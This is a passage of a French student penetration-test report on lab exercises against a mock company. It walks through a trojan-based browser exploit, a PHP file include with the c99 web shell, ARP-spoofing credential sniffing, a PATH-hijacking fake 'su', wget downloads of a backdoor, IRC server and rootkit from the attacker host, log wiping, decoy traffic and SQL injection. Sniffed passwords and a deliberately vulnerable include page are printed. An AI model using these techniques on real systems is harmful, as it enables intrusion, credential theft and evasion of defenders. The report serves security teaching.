26 Si on évalue le déroulement du scénario, on arrive à : - acceptation de la demande, probabilité dans un contexte professionnel => OK - exploit de la faille => OK - exécution du trojan => OK - discrétion, comportement humain => OK (l'apparition d'ie étant une action désespérée et volontaire et surtout une conséquence du mauvais fonctionnement de l'outil) Le scénario en lui-même a donc bien fonctionné puisque les étapes se sont déroulées comme prévu. Si on analyse maintenant l'efficacité des outils : - Metasploit => OK, fonctionnel à 100% - Serveurs web => OK, fonctionnel à 100% - Netcat => OK, fonctionnel à 100% - Trojan: * Exécution en mode utilisateur => OK * Ecriture dans le registre => OK, mais inutile * Enregistrement sur le disque dur => Echec * Téléchargement de wget => Echec * Obtention d'un shell => OK * Reprise d'un shell en cas de coupure => OK => Fonctionnel à 50% (OK pour la partie reverse shell, Echec pour la partie backdoor) Le seul outil ayant échoué est donc l'outil que nous avons codé nous-même. Nous avons en effet dû faire face ici à un cas non rencontré lors des tests. Avec l'expérience de ce premier échec, il serait facile de construire un nouveau trojan plus tolérant à ce genre d'erreur. Plusieurs pistes pourraient être envisagées en s'inspirant de trojan déjà existants: - inclusion d'une commande de téléchargement de fichiers directement dans le trojan - écriture du trojan à un endroit différent - écriture du trojan à plusieurs endroits du disque - test de la bonne écriture des fichiers - système multiprocessus, chacun empêchant de tuer l'autre Les buts du scénarios sont encore plus critiques: - Obtention d'un shell => OK - Utilisation du shell efficace => Echec - Persistance du shell => Echec Page 26 sur 77

27 Nous avons donc obtenu un shell mais cela ne nous a pas servi puisque nous ne l'avons pas utilisé efficacement et que nous l'avons perdu suite à l'extinction de la machine. Maintenant, il convient de comparer le contexte dans lequel nous sommes avec un contexte réel. Le contexte réel aurait bien mieux réussi. Premièrement, face au problème d'écriture du trojan sur le disque: En effet, ici nous disposions d'une seule tentative (nous avions tenté une seconde tentative, infructueuse pour les raisons expliquées plus haut, mais cela aurait de toute façon mis la puce à l'oreille de la défense). En contexte réel, nous aurions amplement pu faire visiter plus tard, après avoir recodé un meilleur trojan, une seconde page d'exploit à un utilisateur. Cela aurait par la suite résolu le problème de persistance du shell. Deuxièmement, face à l'utilisation efficace du shell: En situation réelle, nous aurions par exemple pu profiter du shell pour inspecter les documents de l'utilisateur. Or ici, il n'y en avait pas. De même, en contexte réel, nous aurions pu modifier certains paramètres de l'application utilisateur, ou, par exemple, relever le répertoire de Firefox dans "Application Data" afin d'éventuellement récupérer des mots de passe enregistrés. Mais ici, la station n'étant pas utilisée réellement, cela n'a pas d'intérêt. En conclusion, même si les résultats et le fonctionnement des outils ont été décevants, nous pouvons être satisfaits des résultats apportés par ce scénario. Tout d'abord, l'exploitation réussie d'une faille d'internet explorer, et ce malgré la désactivation théorique du JavaScript par l'équipe défense (mais à mon avis, cette désactivation n'était pas bien faite). N'oublions pas que ce projet et les confrontations servent avant tout à montrer les risques liés à la sécurité (ainsi que les aspect organisationnels qui ont fait leur preuve, le succès de la faille étant dû ici à une bonne gestion des tests et à un bon scénario). Ensuite, les résultats obtenus montrent que, même si tout n'a pas fonctionné, nous avons tout de même pu obtenir un shell sur la machine attaquée, ce qui représente déjà un bon avancement. Enfin, comme démontré précédemment, cette action aurait été efficace en contexte réel. B. Scénario 2 : Attaque Web ( file include ) 1. Qu'est-ce que la faille include? L'include est une fonction du langage php. Elle sert principalement à inclure une page dans une autre, par exemple pour faciliter la mise à jour ou encore pour inclure des variables provenant d'un fichier de configuration. Page 27 sur 77

28 Le problème vient du fait que parfois, la vérification des données entrées dans les champs d'un formulaire n'est pas effectuée. Donc, un attaquant peut passer comme valeur une URL vers son site Web contenant un script d'attaque. A cette occasion, c'est donc le serveur piraté qui interprète le script, et donc permet la prise de contrôle à distance du serveur. 2. Pourquoi cette faille? Suite aux informations que nous avions récoltées auparavant, nous savions que la société Candide SA disposait d'un serveur Web avec le support de PHP. Malgré nos recherches de vulnérabilité sur le site, il ne nous était pas possible d'exploiter cette faille telle quelle, car la taille des champs des formulaires était limitée à 30 caractères, ce qui n'est pas assez pour permettre de rentrer une URL. Nous avons donc demandé à l'équipe en charge de la gestion du serveur d'insérer une page vulnérable du type : <?php if(isset($_get['page'])) { include $_GET['page']; } else { include 'test.php'; }?> 3. Préparation de l'attaque Afin de stocker notre script php d'attaque, nous installons un serveur Web sur notre machine. attaque:~#apache2 apache2-mpm-prefork apache2-utils apache2.2-common libapache2-mod-php4 libapr1 libaprutil1 libpq4 libpq5 libzzip-0-12 php4 php4-common Pour éviter que notre page php soit interprétée par notre serveur, il faut désactiver la gestion du langage php dans apache2. attaque:~# cat /etc/apache2/mods-enabled/php4.conf <IfModule mod_php4.c> # AddType application/x-httpd-php.php.phtml.php3 # AddType application/x-httpd-php-source.phps </IfModule> attaque:~# cat /etc/apache2/mods-enabled/php4.load #LoadModule php4_module /usr/lib/apache2/modules/libphp4.so attaque:~# /etc/init.d/apache2 restart Enfin, il nous suffit de copier dans le répertoire principal d'apache notre script d'attaque. attaque:~# cp pentest/c99.php /var/www/accueil.php Page 28 sur 77

29 4. Exploitation de la faille include Dans un navigateur, nous spécifions l'url du site de la société Candide SA pour joindre leur serveur Web. Page 29 sur 77

30 Nous entrons alors en paramètre l'adresse de notre serveur, avec la localisation du script : Page php d'attaque chargée Page 30 sur 77

31 5. Récolte d'informations techniques Maintenant que nous avons un outil de prise de contrôle à distance, nous avons accès à des informations beaucoup plus précises sur le serveur, ainsi qu'à beaucoup de fonctionnalités intéressantes : parcours de l'arborescence encodage des requêtes Web visualisation de fichiers envoi et téléchargement de fichiers brute force ftp ajout de code php injection sql mise en place de backdoor exécution de commandes etc Exemple d'informations récupérées Page 31 sur 77

32 6. Vol d'informations sensibles Afin d'effectuer un audit hors-ligne du serveur, nous avons décidé de récupérer le code source du site, mais aussi les fichiers de configuration du répertoire /etc qui nous étaient accessibles. Création des archives Nous pouvons exécuter des commandes, mais avec les droits de www-data seulement. Nous n'avons donc pas accès à tout, c'est pourquoi nous avons choisi une autre méthode afin de «travailler» sur le serveur compromis. Page 32 sur 77

33 C. Scénario 3 : Attaque MITM et SSH 1. Qu'est-ce que MITM? L'attaque de type Man In The Middle permet en gros d'être une passerelle illégitime pour l'ensemble du réseau. Elle combine notamment l'arp SPOOFING ainsi que l'ip SPOOFING ( Cette technique nous a permis de récupérer quelques informations importantes : attaque:/home/viking#ettercap -Tq -m /home/viking/ettercaplog_ log -M arp / / //... OR+'1=1' PASS: INFO: OR+'1'=+'1' PASS: OR+'1'=+'1' INFO: OR+'1'=+1 PASS: OR+'1'=+1 INFO: '+OR+'a'='a PASS: '+OR+'a'='a INFO: OR+1=1 PASS: OR+1=1 INFO: bob PASS: bossboss INFO: bob PASS: boss INFO: aoun PASS: stristri INFO: bob PASS: avasam7! INFO: Un mot de passe a tout de suite attiré notre attention (en rouge). Nous avons donc testé sur leur serveur avec comme login «bob», mais ce fut un échec. Nous avons alors essayé avec le login «defense» : bingo! Page 33 sur 77

34 2. Tentative de récupération du mot de passe root C'est la veille de la confrontation que nous avons découvert cet accès ssh. Lors de la consultation de l'historique des commandes, nous avons constaté l'utilisation du programme «su» pour devenir root. Nous avons donc créé un faux programme «su» que nous avons placé dans le répertoire /tmp ; ensuite nous avons ajouté à la variable PATH du fichier.bashrc le répertoire /tmp (ceci a pour effet de rechercher en premier sur le répertoire /tmp afin d'exécuter la commande). Malheureusement pour nous, le faux programme «su» était absent lors de la confrontation, ce qui suppose que le serveur a été redémarré. Une deuxième hypothèse est que l'équipe de Candide SA a découvert ce programme mais la variable PATH n'a pas été modifiée, donc nous pouvons espérer le contraire... Page 34 sur 77

35 3. Récupération d'informations par ssh L'inconvénient de cet accès SSH est que chaque connexion apparaît dans les journaux du serveur ssh. Par contre, le gros avantage est que les connexions sont cryptées, ce qui rendra donc plus difficile l'analyse réseau effectuée par les sondes! a) Versions ssh password: Linux srv-web #1 SMP Wed Oct 3 00:12:50 UTC 2007 i686 The programs included with the Debian GNU/Linux system are free software; Informations importantes récoltées : système d'exploitation : Linux Debian version du noyau : nom du serveur : srv-web architecture : x86 b) Réseau defense@srv-web:/tmp$ /sbin/ifconfig eth0 Lien encap:ethernet HWaddr 00:04:76:F1:7C:6C inet adr: Bcast: Masque: adr inet6: fe80::204:76ff:fef1:7c6c/64 Scope:Lien UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:68487 errors:0 dropped:0 overruns:1 frame:0 TX packets:59576 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 lg file transmission:1000 RX bytes: (6.6 MiB) TX bytes: (11.9 MiB) Interruption:169 Adresse de base:0x4000 defense@srv-web:/etc$ cat network/interfaces # This file describes the network interfaces available on your system # and how to activate them. For more information, see interfaces(5). # The loopback network interface auto lo iface lo inet loopback # The primary network interface auto eth0 iface eth0 inet static address netmask defense@srv-web:/etc$ cat resolv.conf nameserver defense@srv-web:/tmp$ /sbin/route -n Table de routage IP du noyau Destination Passerelle Genmask Indic Metric Ref Use Iface U eth UG eth0 defense@srv-web:/tmp$ w 17:40:31 up 6:03, 3 users, load average: 0,01, 0,03, 0,00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT defense pts/ : s 0.22s 0.00s w defense pts/1 hochet.lan-213.s 17: s 0.51s 0.06s sshd: defense [priv] defense pts/ : s 0.21s 0.01s ssh Page 35 sur 77

36 netstat -alputen (Tous les processus ne peuvent être identifiés, les infos sur les processus non possédés ne seront pas affichées, vous devez être root pour les voir toutes.) Connexions Internet actives (serveurs et établies) Proto Recv-Q Send-Q Adresse locale Adresse distante Etat Utilisatr Inode PID/Program name tcp : :* LISTEN tcp : :* LISTEN tcp : :* LISTEN tcp : :* LISTEN tcp : :* LISTEN tcp : :22 ESTABLISHED /ssh tcp6 0 0 :::80 :::* LISTEN tcp6 0 0 :::22 :::* LISTEN tcp6 0 0 ::ffff: :22 ::ffff: :54288 ESTABLISHED tcp6 0 0 ::ffff: :80 ::ffff: :48657 TIME_WAIT tcp6 0 0 ::ffff: :80 ::ffff: :48658 TIME_WAIT tcp6 0 0 ::ffff: :22 ::ffff: :40952 ESTABLISHED tcp ::ffff: :22 ::ffff: :60060 ESTABLISHED udp : :* udp : :514 ESTABLISHED udp : :* udp : :* udp : :* udp : :* udp : :* udp6 0 0 fe80::204:76ff:fef1:123 :::* udp6 0 0 ::1:123 :::* udp6 0 0 :::123 :::* defense@srv-web:/var/mail$ /usr/sbin/arp -a? ( ) at 00:04:76:F1:80:70 [ether] on eth0? ( ) at 00:14:F2:75:ED:72 [ether] on eth0 Informations importantes récoltées : nombre d'interfaces actives : 1 adresse ip : masque réseau : passerelle : (port ssh ouvert) deux utilisateurs sont connectés (defense) : par chance l'un est en train de travailler par ssh sur la passerelle avec le login «bob», mais l'autre peut Page 36 sur 77

37 détecter notre présence à tout moment (encore un inconvénient) ports tcp ouverts : 59558, 3306 (mysql), 111 (sunrpc), 113 (auth), 25 (smtp), 80 (web), 22 (ssh) ports udp ouverts : 32769, 111; 881, 123 (ntp) les logs sont déportés sur la machine (certainement une machine d'analyse avec en complément un IDS) serveur dns utilisé : c) Processus lancés defense@srv-web:/tmp$ ps aux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND [...] daemon ? Ss 11:37 0:00 /sbin/portmap root ? S 11:37 0:00 /bin/sh /usr/bin/mysqld_safe mysql ? Sl 11:37 0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql -- pid-file=/var/run/my root ? S 11:37 0:00 logger -p daemon.err -t mysqld_safe -i -t mysqld ? Ss 11:37 0:00 /usr/sbin/exim4 -bd -q30m root ? Ss 11:37 0:00 /usr/sbin/inetd root ? Ss 11:37 0:56 /usr/sbin/sshd statd ? Ss 11:37 0:00 /sbin/rpc.statd ntp ? Ss 11:37 0:00 /usr/sbin/ntpd -p /var/run/ntpd.pid -u 105:105 -g daemon ? Ss 11:37 0:00 /usr/sbin/atd root ? Ss 11:37 0:00 /usr/sbin/cron [...] defense ? S 17:36 0:00 sshd: defense@pts/1 root ? Ss 17:57 0:02 /sbin/syslog-ng -p /var/run/syslog-ng.pid root ? Ss 18:14 0:00 /usr/sbin/apache2 -k start root ? S 18:14 0:00 /usr/bin/logger root pts/1 S+ 18:20 0:00 ssh sysadmin@ [...] Informations importantes récoltées : démons lancés : portmap, mysql, exim, inetd, sshd, rpc.statd, ntpd, atd, cron, syslog-ng, logger il existe un compte ssh «sysadmin» sur la machine (machine d'analyse) de logs d) Etude de configuration Lors de cette intrusion, nous avons consulté beaucoup de fichiers de configuration, à Page 37 sur 77

38 la recherche d'éventuelles erreurs. Voici les principaux fichiers dans lesquels nous estimons avoir trouvé des informations utilisables pour la suite de nos opérations : defense@srv-web:/var/mail$ id uid=1000(defense) gid=1000(defense) groupes=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),10 00(defense) defense@srv-web:/var/lib$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh Debian-exim:x:100:102::/var/spool/exim4:/bin/false statd:x:101:65534::/var/lib/nfs:/bin/false identd:x:102:65534::/var/run/identd:/bin/false defense:x:1000:1000:defense,,,:/home/defense:/bin/bash sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin mysql:x:104:104:mysql Server,,,:/var/lib/mysql:/bin/false ntp:x:105:105::/home/ntp:/bin/false defense@srv-web:/etc/apache2$ cat sites-enabled/site NameVirtualHost * <VirtualHost *> DocumentRoot /var/www/ [...] Options FollowSymLinks [...] RedirectMatch ^/$ /site/ [...] ErrorLog /var/log/apache2/error.log LogLevel warn CustomLog /var/log/apache2/access.log combined ServerSignature On [...] </VirtualHost> defense@srv-web:/etc$ cat hosts localhost srv-web.lan-213.stri srv-web defense@srv-web:/etc$ cat hosts.allow (ndr : uniquement des commentaires) defense@srv-web:/etc$ cat hosts.deny (ndr : uniquement des commentaires) defense@srv-web:/etc$ lsmod Module Size Used by xt_tcpudp xt_state iptable_nat ip_nat iptable_nat ip_conntrack xt_state,iptable_nat,ip_nat nfnetlink ip_nat,ip_conntrack iptable_filter ip_tables iptable_nat,iptable_filter x_tables xt_tcpudp,xt_state,iptable_nat,ip_tables [...] Page 38 sur 77

39 cat group (ndr : rien d'intéressant) defense@srv-web:/etc$ cat aliases # /etc/aliases mailer-daemon: postmaster postmaster: root nobody: root hostmaster: root usenet: root news: root webmaster: root www: root ftp: root abuse: root noc: root security: root root: defense defense@srv-web:~$ pwd /home/defense defense@srv-web:~$ ls regles-iptables defense@srv-web:~$ cat regles-iptables # Generated by iptables-save v1.3.6 on Sat Sep 29 01:48: *nat :PREROUTING ACCEPT [293591: ] :POSTROUTING ACCEPT [706:39178] :OUTPUT ACCEPT [706:39178] COMMIT # Completed on Sat Sep 29 01:48: # Generated by iptables-save v1.3.6 on Sat Sep 29 01:48: *filter :INPUT DROP [0:0] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [443892: ] -A INPUT -i lo -j ACCEPT -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT -A INPUT -p tcp -m tcp --dport 80 -m state --state NEW -j ACCEPT -A INPUT -p tcp -m tcp --dport 22 -m state --state NEW -j ACCEPT -A INPUT -p icmp -m state --state NEW -j ACCEPT -A INPUT -j DROP -A OUTPUT -m state --state NEW -j ACCEPT COMMIT # Completed on Sat Sep 29 01:48: Informations importantes récoltées : le login utilisateur "défense" n'appartient pas à un groupe privilégié la racine du seul serveur web se trouve dans le répertoire /var/www/ le serveur web permet de suivre les liens symboliques il n'y a pas de restriction d'accès via les fichiers hosts, mais le pare feu semble installé et n'autorise que la connexion sur les ports ssh et web (si la configuration n'a pas changé...) un alias semble rediriger tous les mails vers le compte défense, nous en déduisons que c'est le compte d'administration (à privilégier parmi nos cibles) e) Informations sur l'organisation du stockage des données defense@srv-web:/proc/17053$ cat /etc/fstab # /etc/fstab: static file system information. # # <file system> <mount point> <type> <options> <dump> <pass> proc /proc proc defaults 0 0 Page 39 sur 77

40 /dev/mapper/srv--web-root / ext3 defaults,errors=remountro 0 1 /dev/hda1 /boot ext3 defaults 0 2 /dev/mapper/srv--web-home /home ext3 defaults 0 2 /dev/mapper/srv--web-tmp /tmp ext3 defaults 0 2 /dev/mapper/srv--web-usr /usr ext3 defaults 0 2 /dev/mapper/srv--web-var /var ext3 defaults 0 2 /dev/mapper/srv--web-swap_1 none swap sw 0 0 [...] defense@srv-web:/proc/17053$ df -h Sys. de fich. Tail. Occ. Disp. %Occ. Monté sur /dev/mapper/srv--web-root 268M 127M 127M 51% / tmpfs 253M 0 253M 0% /lib/init/rw udev 10M 40K 10M 1% /dev tmpfs 253M 0 253M 0% /dev/shm /dev/hda1 236M 25M 199M 11% /boot /dev/mapper/srv--web-home 27G 173M 26G 1% /home /dev/mapper/srv--web-tmp 380M 11M 350M 3% /tmp /dev/mapper/srv--web-usr 4,7G 525M 4,0G 12% /usr /dev/mapper/srv--web-var 2,9G 276M 2,5G 11% /var Informations importantes récoltées : un partitionnement de type LVM a été effectué les points de montages ont bien été définis sur des partitions différentes (notamment pour les logs), ce qui nous empêche de tenter un déni de service par saturation des disques. Par contre, il n'y a pas l'option «noexec», ce qui suppose que l'on pourra exécuter des scripts (ou autres) sur le serveur, principalement sur /tmp. f) Mise en place d'une backdoor Lors de la confrontation, nous avons testé l'installation d'une backdoor afin de revenir par la suite de manière plus discrète. Comme nous ne sommes pas parvenus à télécharger le fichier par scp, nous avons supposé qu'il y avait un filtrage, et donc utilisé notre serveur web comme moyen de secours. defense@srv-web:/tmp$ wget :33: => `sbd.php' Connexion vers :80...connectÃ. requãªte HTTP transmise, en attente de la rã ponse OK Longueur: (44K) [application/x-httpd-php] 100%[======================================================>] K/s 17:33:02 (5.35 MB/s) - «sbd.php » sauvegardã [44620/44620] defense@srv-web:/tmp$ ls lost+found sbd.php defense@srv-web:/tmp$ mv sbd.php sbd Page 40 sur 77

41 chmod 700 sbd -l -p e -r0 -D on ps aux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND defense pts/0 S 18:19 0:00 /tmp/sbd - l -p e -r0 -D on Malheureusement pour nous, tous les ports étaient filtrés en entrée, il aurait donc fallu installer une backdoor de type «reverse shell», c'est-à-dire que c'est le programme qui ouvre la connexion vers l'extérieur (sur le port 80 par exemple). Par manque de temps, nous n'avons pas testé cette solution. g) Mise en place d'un serveur irc Très souvent, on constate suite à une compromission de serveur la naissance d'un serveur de fichier de type irc. Celui-ci permet de stocker des fichiers piratés, mais aussi d'utiliser le système C&C c'est-à-dire «command and control» qui permet parfois de faire de l'administration à distance. defense@srv-web:/tmp$ wget :43: => `iroffer' Connexion vers :80...connectÃ. requãªte HTTP transmise, en attente de la rã ponse OK Longueur: (228K) [text/plain] 100%[===============================================>] K/s 17:43:20 (4.98 MB/s) - «iroffer » sauvegardã [233822/233822] defense@srv-web:/tmp$ chmod 700 iroffer defense@srv-web:/tmp$./iroffer -c iroffer v1.3.b11 [ ] by PMG Configuration File Password Generator This will take a password of your choosing and encrypt it. You should place the output this program generates in your config file. You can then use your password you enter here over irc. Your password must be between 5 and 8 characters Please Enter Your Password: testtest And Again for Verification: testtest To use "testtest" as your password use the following in your config file: adminpass cdvtt.dc4j31i defense@srv-web:/tmp$./iroffer -b config Welcome to iroffer by PMG - Version 1.3.b11 [ ] ** iroffer is distributed under the GNU General Public License. ** please see the README for more information. ** Starting up... ** Started on: :22:19 ** Loading config... ** Checking for completeness of config file... ** You Are Running Linux on a i686, Good ** Entering Background Mode ** All Commands must be issued by remote administration defense@srv-web:/tmp$ ps aux defense ? S 18:22 0:00./iroffer -b config Page 41 sur 77

42 Pour les mêmes raisons que celles citées précédemment, cette solution n'a pas été exploitable. Page 42 sur 77

43 h) Découverte du réseau local Afin de déterminer la topologie du réseau local, nous avons essayé d'utiliser nmap. Mais il manquait des librairies, donc cela n'a pas marché. nmap nmap: error while loading shared libraries: libpcap.so.0.8: cannot open shared object file: No such file or directory Pour parer ce problème, nous avons testé avec netcat. Cela marche bien mais il aurait fallu créer un script de scan car c'est vraiment fastidieux de le faire machine par machine, port par port... wget :26: => `nc' Connexion vers :80...connectÃ. requãªte HTTP transmise, en attente de la rã ponse OK Longueur: (19K) [text/plain] 100%[===================================>] K/s 18:26:27 (5.50 MB/s) - «nc » sauvegardã [19888/19888] defense@srv-web:/tmp$ nc SSH-2.0-OpenSSH_4.6p1 Debian-5 i) Mise en place d'un rootkit Pour terminer nos tests sur ce serveur, nous avons essayé d'utiliser un rootkit afin d'élever nos privilèges. La version du noyau était la plus récente et ne contenait pas de faille, c'est pourquoi nous avons testé l'infection par LKM (Loadable Kernel Module). Mais cette solution non plus n'a pas abouti... defense@srv-web:/tmp$ wget :38: => `sk.php' Connexion vers :80...connectÃ. requãªte HTTP transmise, en attente de la rã ponse OK Longueur: (91K) [application/x-httpd-php] 100%[===================================================>] K/s 17:38:48 (8.39 MB/s) - «sk.php » sauvegardã [92743/92743] defense@srv-web:/tmp$ mv sk.php sk defense@srv-web:/tmp$ chmod 700 sk defense@srv-web:/tmp$./sk SucKIT v2.0-devel-rc2 < (c) Copyright sd <sd@hysteria.sk> You have not configured suckit yet. Now I'll ask you few important questions, next time you can change configuration by running `./sk C` Suckit hides files containing magic string in their suffix Example: with suffix 'iamsoelite' the 'myfileiamsoelit' or 'myfile.iamsoelite' files will not be shown to the rest of the system Magic file-hiding suffix []: attaque Home directory will be your directory for logins. It will Page 43 sur 77

44 also contain.sniffer file with tty sniffer logs. It's name should have hide string as suffix, thus it will be hidden for the rest of system too. Example: for hiding-suffix equal to 'attaque' you could have something like /usr/share/man/man1/.attaque Home directory []: /tmp/.attaque Suckit password is used for authentication of remote/local user. Please use at least 4 characters. Password: Retype password: Configuration saved to./sk defense@srv-web:/tmp$./sk x Password: SucKIT v2.0-devel-rc2 < (c) Copyright sd <sd@hysteria.sk> Backdooring binaries WARNING: no binary backdoored Done, 0 binaries backdoored Loading suckit v2.0-devel-rc2.../dev/./kmem: Permission denied defense@srv-web:/tmp$ls -l /dev/kmem crw-r root kmem 1, :50 /dev/kmem Page 44 sur 77

45 4. Schéma réseau Suite à nos analyses et à cette confrontation, nous avons pu établir le schéma suivant de l'architecture de la société Candide SA. Page 45 sur 77

46 5. Effacement des traces Une des étapes les plus importantes lorsqu'un pirate s'introduit dans un serveur, c'est de supprimer les traces de son passage. Nous n'avons pas réussi à devenir root, donc nos installations n'étaient pas aussi furtives que possible. Nous avons vidé le répertoire /tmp et l'historique des commandes rentrées sous le compte «défense». Malgré tout, certaines traces restent dans les logs, notamment notre connexion via ssh (notre ip y apparaît), car seul root y a accès. defense@srv-web:~$ history -c defense@srv-web:~$ ls /tmp/ lost+found defense@srv-web:~$ exit logout Connection to closed. attaque:/home/viking# 6. Conclusions Toutes les techniques mises en œuvres ici ont suivi un scénario bien précis. Nous avons remarqué qu'une fois qu'on a accès à la ligne de commande sur le serveur (via l'interface php, ou bien via ssh), tout s'accélère quant à la compromission du serveur. Nous avons aussi remarqué que la facilité de compromission d'un serveur dépend beaucoup du nombre de programmes installés ainsi que de leur version. Enfin, nous n'avons pu rechercher tous les logiciels vulnérables présents sur le serveur par manque de temps. D. Bruits de fond 1. Pourquoi du bruit de fond? Afin de pouvoir exécuter les attaques que nous avions prévues en toute impunité, il est nécessaire de créer une sorte de diversion. Cette diversion se fait par l'intermédiaire de bruits de fond. Nous allons donc créer de fausses alertes et générer beaucoup de trafic afin de noyer nos attaques dans cet ensemble de trafic. 2. Déroulement de la phase de bruit de fond Préparation: Nous avons recherché des logiciels nous permettant de créer du bruit de fond et d identifier quelques failles en même temps. Nous avons trouvé le logiciel IDSwakeup dont l objectif principal est d'envoyer de fausses attaques qui imitent les attaques les plus connues. Le but était de noyer une véritable attaque dans un flot de fausses alertes. Nous avons également trouvé Babelweb qui est un programme permettant d'automatiser des tests sur un serveur HTTP. Il est capable de suivre les liens et les redirections HTTP mais il est programmé pour rester sur le serveur d'origine. Page 46 sur 77

47 Le but principal de Babelweb est d'obtenir des informations sur un serveur web distant et de classer ces informations. Il est ainsi possible de dresser la liste des pages accessibles, des scripts cgi rencontrés, des différents fichiers trouvés comme les.zip, les.pdf... Déroulement: Nous avons commencé par lancer le script depuis notre machine sur le réseau de l'opérateur. Nous avons rencontré quelques difficultés lors du déroulement de nos attaques, nous avons donc décidé de noyer le plus possible le serveur web de la société Candide SA par une avalanche de série de pings et de scans en tout genre. Nous avons envoyé une série de pings ayant comme intervalle 0,02s avec en parallèle le script suivant : Page 47 sur 77

48 Par la suite nous avons répété cette série de bruits de fond en direction du serveur de l'audit afin de créer un déni de service. L opération a réussi mais seulement pendant quelques secondes. E. Récupération de la configuration du routeur: Lors de nos nombreuses écoutes du réseau, nous avons récupéré les mots de passe Root de leur serveur web. Puisque nous n'avons pas réussi à nous cacher derrière notre faille include, nous avons donc décidé de nous connecter au serveur web en SSH depuis notre machine. Cette opération est quasiment irréalisable dans la réalité du fait que l'adresse IP de notre machine se retrouve loguée, il aurait été préférable d'utiliser la faille include pour cacher cette connexion. < SSH login : bob, pass : avasam7 > Suite à cette connexion, nous avons tenté une connexion sur le routeur d'entrée de la société Candide SA. La connexion SSH étant activée, nous tentons avec le même mot de passe que celui du serveur web. Une fois connecté, nous tentons une connexion en mode Enable. Ainsi connecté en mode Enable, nous pouvons alors récupérer la configuration du routeur : show conf Page 48 sur 77

49 Configuration du routeur 1 ère partie 2 ème partie Page 49 sur 77

50 Configuration du routeur 3 ème partie Nous avons décidé de ne pas modifier la configuration du routeur sachant que nous étions sûr d'être découvert rapidement. Cependant, il aurait été facile de couper l'accès à la société Candide SA en changeant le mot de passe Enable et en coupant les liens du routeur <interface FastEthernet1/0 down>. Ainsi, ils n'auraient pas été capables de remettre en place leur routeur sans le formatage de la mémoire. Conclusions Notre bruit de fond n'a pas été très efficace mais il a permis de divertir un peu l'équipe défense ainsi que l'équipe audit dans l'analyse des logs. Cependant, l'écoute du réseau nous a permis de récupérer les mots de passe circulant en clair et donc de se connecter facilement sur le routeur d'entrée de la société. Cette opération aurait pu mettre en péril très rapidement la société Candide SA. Page 50 sur 77

51 VI. 2ème confrontation A. Scénario 1 : Piratage du site. 1. Utilisation des acquis Lors de la première confrontation, nous avons utilisé la faille include pour récupérer le code source du site web. Nous avons alors audité ce code à la recherche d'autres failles mais aussi de données de connexion SQL. Page login.php : <? include_once("connectbd.php"); $q="select * FROM user WHERE login='".$_post["login"]."' AND pass='".md5($_post["pass"])."'"; $r=mysql_query($q); if(mysql_num_rows($r)>0){ $w=mysql_fetch_array($r); $_SESSION["login"]=$_POST["login"]; $_SESSION["id_login"]=$w["id_user"]; if(isset($_post["remember"])) setcookie("id_login", $w["id_user"], time()+60*60*24*30); header("location:."); } else { $_SESSION["info"]="<span style=\"color:#ff0000; font-weight:bold \">Identification incorrecte</span>"; header("location:."); }?> De cette première page ressortent plusieurs informations : - il faut aller voir le fichier connectbd.php car il doit contenir les informations d'accès à la BD - la base de données contient une table user avec des champs «login» et «pass». Les passwords sont cryptés avec du MD5. Page connectbd.php : <? include_once("function.php"); $user="defense_2"; $pwd="testtest"; $db="linux_test"; $host="localhost"; $cnx=mysql_connect($host, $user, $pwd) or die("erreur de connexion au serveur mysql, verifiez vos parametres"); mysql_select_db($db, $cnx) or die("impossible de selectionner la base"); session_start();?> On retrouve les informations d'accès à la base de données! Page 51 sur 77

52 2. Récupération des logins / passwords Afin de récupérer la base de données, nous avons tenté de faire de l'injection SQL. La requête en rouge y est en effet vulnérable, en tapant un login du type : ' UNION SELECT * FROM user WHERE type='root' # On peut se connecter en ayant les privilèges administrateurs sur le site quel que soit le mot de passe entré. Cette attaque était d'ailleurs fonctionnelle sur notre maquette (cf. copie d'écran cidessous les erreurs viennent du fait que toutes les tables ne sont pas implantées sur la maquette). L'interface administrateur du site de la défense Mais le problème est qu'un reverse proxy a été mis en place juste après la première confrontation. Ce dernier réécrit les requêtes, nous empêchant d'utiliser cette faille. Page 52 sur 77

